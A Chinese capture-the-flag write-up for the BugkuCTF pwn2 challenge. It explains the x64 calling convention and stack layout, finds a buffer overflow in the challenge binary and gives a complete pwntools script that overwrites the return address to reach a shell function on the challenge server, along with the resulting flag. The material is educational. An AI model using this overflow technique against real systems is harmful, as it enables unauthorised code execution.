BugkuCTF-PWN题pwn2-overflow超详细讲解

解题思路

1)计算出get_shell_的地址偏移量
2)算出来之后就直接溢出到后门函数

知识点

x64函数调用规则

解题之前我们先学下linux x64的函数调用规则。
x64机器在调用某个函数前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余参数存入到栈里,保存的顺序是从右往左入栈。比如abcdef会存入到寄存器里,然后一次入栈h、g。
保存完参数之后再把函数后面一条指令的地址入栈保存。
栈结构
在这里插入图片描述
上图就是一个函数的栈结构,上面是栈顶,下面是栈底,栈顶是低地址,栈底是高地址,read函数往栈里写数据是从栈顶往栈底写入

栈顶指针(寄存器):rsp
栈底指针(帧指针):rbp

C语言知识点

memset
memset:可以方便的清空某个结构类型的变量或数组,作用是在一段内存块里填充某个给定的值,它是对较大的结构体或数组进行清零操作的一类最快方法,为string.h头文件里的函数,按字节对内存块进行初始操作
例:memset(buffer, 0, sizeof(buffer)) 给buffer清出一个sizeof(buffer)大小的空间,填充0,做数组初始操作工作。

setvbuf
为什么要使用setvbuf函数
如果你的内存足够大,可以把文件IO的BUF设置大一些,这样每次你用
fopen/fread/fwrite/fscanf/fprintf语句的时候,都会在内存里操作,减少内存到磁盘IO读写的操作次数,提高系统效率。
如果你的程序的功能涉及到类似数据库、视频、音频、图像处理等大量需要爆发式磁盘到内存的IO情况下,可以考虑setvbuf进行优化内存IO。
功 能: 把缓区与流相关

puts()
puts()函数用来向标准输出设备屏幕输出字符串并换行。
具体是把字符串输出到屏幕上,将‘\0’转换为回车换行。调用方式是:puts(str)。其里str是字符串数组名或者字符串指针。实际上,数组名就是指针。
puts() 输出更简洁、更方便。而且使用 puts() 函数连换行符 ‘\n’ 都省了,使用 puts() 显示字符串时,系统会自动在其后添加一个换行符,也就是说
printf("%s\n", name);和:puts(name)是等价的

read():
函数原型: int read(int fd,void *buf,int len);
功能:用于读取打开文件的内容
参数:int fd 为要读取的文件
void *buf 为要将读取的内容保存的缓冲区
int len 读取文件的长度
返回值:返回实际读取的字节数
read(0,&s,0x100uLL):读取s这个变量0x100个字节,即从外部读取0x100的数据到s里

解题流程

0、在Linux里打开文件,使用file命令查看文件类型
在这里插入图片描述
64位文件
checksec检查保护情况
在这里插入图片描述
未开启任何保护,尝试运行一下
在这里插入图片描述
1、使用IDA 64 Pro打开文件
查看主函数
在这里插入图片描述
通过观察这个程序的逻辑我们发现s这个变量申请了0x30个字节,但是下面read函数读取了s这个变量0x100个字节,所以存在栈溢出。
在这里插入图片描述
然后发现在main函数下面有一个get_shell_函数,双击下去发现这个函数的地址是0x400751,先把这个地址记下来。
在这里插入图片描述
下面就是在gdb里打开pwn2,然后创建随机字符,并运行。在这里插入图片描述
发现RBP段的字符被填充为bAA1AAGA,再利用这个字符计算出偏移量。
在这里插入图片描述
在这里插入图片描述
然后根据偏移量写出脚本就可以了

from pwn import *
#io = process('./pwn2')io = remote("114.67.246.176", 18766)   #remote()建立一个远程连接,url或者ip作为地址,然后指明端口
payload = b'a' * (0x30 + 0x8) + p64(0x400751) #数据打包,即将整数值转换为32位或者64位地址一样的表示方式,p对应pack,打包
io.recvline("say something?\n")   #recvline(keepends=True) : 接收到\n,keepends指定保留\n
io.send(payload)   #send(data) : 发送数据
io.interactive()   #interactive() : 与shell交互

运行
在这里插入图片描述
得到flag{99kls08s6d5a73bcd}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525221.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云漫圈 | 革命版互联网公司虐恋大戏,周一拿去怼业务!

周末,来几张逗逼的漫画醒醒神~!程序员/设计师/产品经理相爱相杀的「革命版互联网公司虐恋大戏」温情上映~1.微信群:添加小编微信:color_ld,备注“进群姓名公司职位”即可,加入【云计算学习交流群】&#xf…

BugkuCTF-PWN题pwn3-read_note超详细讲解

知识点 puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00 Canary最低位为\x00(截断符) \x 和 0x 的区别: 区别不大,都是把数按16进制输出。 1、0x 表示整型数值 (十六进制) char c 0x42; 表示的是一个数值(字母B的…

文末有福利 | 停不下来!程序员在GitHub上开源了一个自制表情包项目

世界上本没有表情包,脑洞大的人多了,便有了表情包,如今,大家伙聊天都离不开表情包,但是手头上很多时候表情包根本不够用,所以市面上就有很有App、小程序可以帮助你制作专属你的表情包而程序员在这方面就有个…

BugkuCTF-Crypto题把猪困在猪圈里

下载file.txt文件 在给的内容头部添加data:image/jpg;base64, 将base64编码转为图片 然后下载图片: 百度猪圈密码,得到flag 注意:猪圈密码flag小写

面趣 | 那些面试没过的程序员,都去了哪里?答案真的挺励志

年底又到裁员季,那些还在挣扎着找工作的小伙伴,现在怎么样了?很好奇,那些没有面试成功的朋友最后都去了哪里?尤其是程序员这一庞大群体。有人给出的答案是,不存在“没有通过一个公司的面试,那以…

BugkuCTF-Crypto题贝斯家

密文&#xff1a;iH<,{bdR2H;i6*Tm,Wx2izpx2! 本题要点&#xff1a;base91转码 看到贝斯家… 那么这串字符一定为BASE系列的了 常见的都是base64/base32/base16…和这串字符好像都不太形似 base91的编码原理 base91是将二进制数据编码为ASCII字符的高级方法。 它类似于UUe…

web前端 到底怎么学?掌握什么可以拿到高薪?

web前端到底怎么学&#xff1f;那么在讲 web前端怎么学 这个大命题之前呢&#xff0c;依据我本人的尿性&#xff0c;还是得先把你拉入坑&#xff0c;让你在坑里好好学 O(∩_∩)Oweb前端的历史渊源 和一些出处&#xff0c;童鞋们大概都有所了解了。下面我们进入【相爱】阶段&…

BugkuCTF-Crypto题缝合加密

下载文件&#xff0c;打开 fence:栅栏 看组成规律&#xff0c;很明显和键盘有关系&#xff0c;但是第一租的qwedc既不能组成一个字母或数字&#xff0c;也没有围住一个字母或者数字&#xff0c;但是结合前面提到的pig&#xff0c;推测这里是猪圈密码 第一组的qwedc对应的是 …

腾讯员工用漫画自述悲惨职场经历,网友大呼:社会巨婴

最近微博上有几组“漫画”火了&#xff0c;但是却引发了巨大的争议&#xff0c;漫画作者微博昵称为“知春鹿可不这么想”&#xff0c;作者自称是腾讯的实习生&#xff0c;并通过漫画的形式描述着自己秋招、面试、实习等生活状态。这是其中一篇漫画。很多网友直接说出作者就是一…

BugkuCTF-Crypto题告诉你个秘密

描述: 636A56355279427363446C4A49454A7154534230526D6843 56445A31614342354E326C4B4946467A5769426961453067 观察发现为十六进制转字符 点击十六进制转字符 发现有大写有小写还有数字 推测是base64&#xff1a; base64解密网站https://ctf.bugku.com/tool/base64 可以在后面…

BugkuCTF-Crypto题简单加密

题目&#xff1a; e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA 看起来很像base64&#xff0c;但是有一些字符不在base64加密字符的范围&#xff0c;由最后两个AA&#xff0c;猜测是偏移ascii码之后的结果。 偏移4位 打开密码机器下载版.htm 点击凯撒移位 输入密文 点击-4&…

AWS Lambda重大更新,跨越编程语言差异之门?

戳蓝字“CSDN云计算”关注我们哦&#xff01;北京时间11月30日凌晨&#xff0c;在美国拉斯维加斯召开的AWS re: Invent 2018上&#xff0c;和往年一样&#xff0c;AWS CTO WernerVogels博士又发布了AWS多项重要的更新&#xff0c;包括数据库、编程工具、架构等多个方面&#xf…

@所有人,云计算喊你一起来学习!

我们需要能在这儿生存的人。We need to find someone who can survive here.《穿普拉达的女王》生活不只有苟且&#xff08;枸杞&#xff09;&#xff0c;还有诗&#xff08;保温杯&#xff09;和远方&#xff08;防脱洗发水&#xff09;。你是否希望回首走过的每份每秒时&…

BugkuCTF-Crypto题进制转换

补充&#xff1a; Python为我们提供了强大的内置函数和格式操作数字的方法去实现进制转换的功能 下载文件&#xff1a; 点击文本内容如下&#xff1a; d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 …

BugkuCTF-Crypto题你喜欢下棋吗

下载文件file.zip&#xff0c;解压 得到一个txt文件与一个flag.zip文件 根据txt文件提示为棋盘密码&#xff08;波利比奥斯方阵密码&#xff08;Polybius Square Cipher或称波利比奥斯棋盘&#xff09;是棋盘密码的一类&#xff09; http://www.atoolbox.net/Tool.php?Id913 …

Cloud一分钟 |格力电器营收比去年增长500亿元; 红黄蓝加盟停不下来;中美双方同意停止相互加征新的关税...

戳蓝字“CSDN云计算”关注我们哦&#xff01;Hello&#xff0c;everyone&#xff1a;12月3日早&#xff0c;星期一CSDN一分钟新闻时间&#xff1a;董明珠&#xff1a;今年格力电器营收比去年增长500亿元 企业纳税越多&#xff0c;活得越好 …

Spring事务你可能不知道的事儿

戳蓝字“CSDN云计算”关注我们哦&#xff01;1. 使用示例2. 标签解析3. 实现原理4. 小结关于事务&#xff0c;简单来说&#xff0c;就是为了保证数据完整性而存在的一种工具&#xff0c;其主要有四大特性&#xff1a;原子性&#xff0c;一致性&#xff0c;隔离性和持久性。对于…

BugkuCTF-PWN题canary超详细讲解

知识点 小端序说明&#xff0c;数据在内存里是如何存储的&#xff1f;下表里数据都为16进制 解题流程 题目Hint:更新 LibcSeacher 的 libc-database checksec查看保护机制 存在Canary和NX。 0x2840 0x1016 0x2941 0x300768 0x2C44 buf长度为48&#xff0c;而read读取长度…

Cloud一分钟 |乐视系近亿元资产被查封;快手推出新社区产品,取名“蹦迪”;高通:已终止收购恩智浦的交易...

戳蓝字“CSDN云计算”关注我们哦&#xff01;Hello&#xff0c;everyone&#xff1a;12月4日早&#xff0c;星期二CSDN一分钟新闻时间&#xff1a;乐视系近亿元资产被查封 裁定查封、扣押或冻结三家乐视系公司名下价值9002.2万元财产。 …

BugkuCTF-Crypto题散乱的密文

描述: lf5{ag024c483549d7fd1} 一张纸条上凌乱的写着2 1 6 5 3 4 知识点&#xff1a;列位移密码&#xff0c;密钥为216534 打开密码机器下载版.htm 点击解密得到flag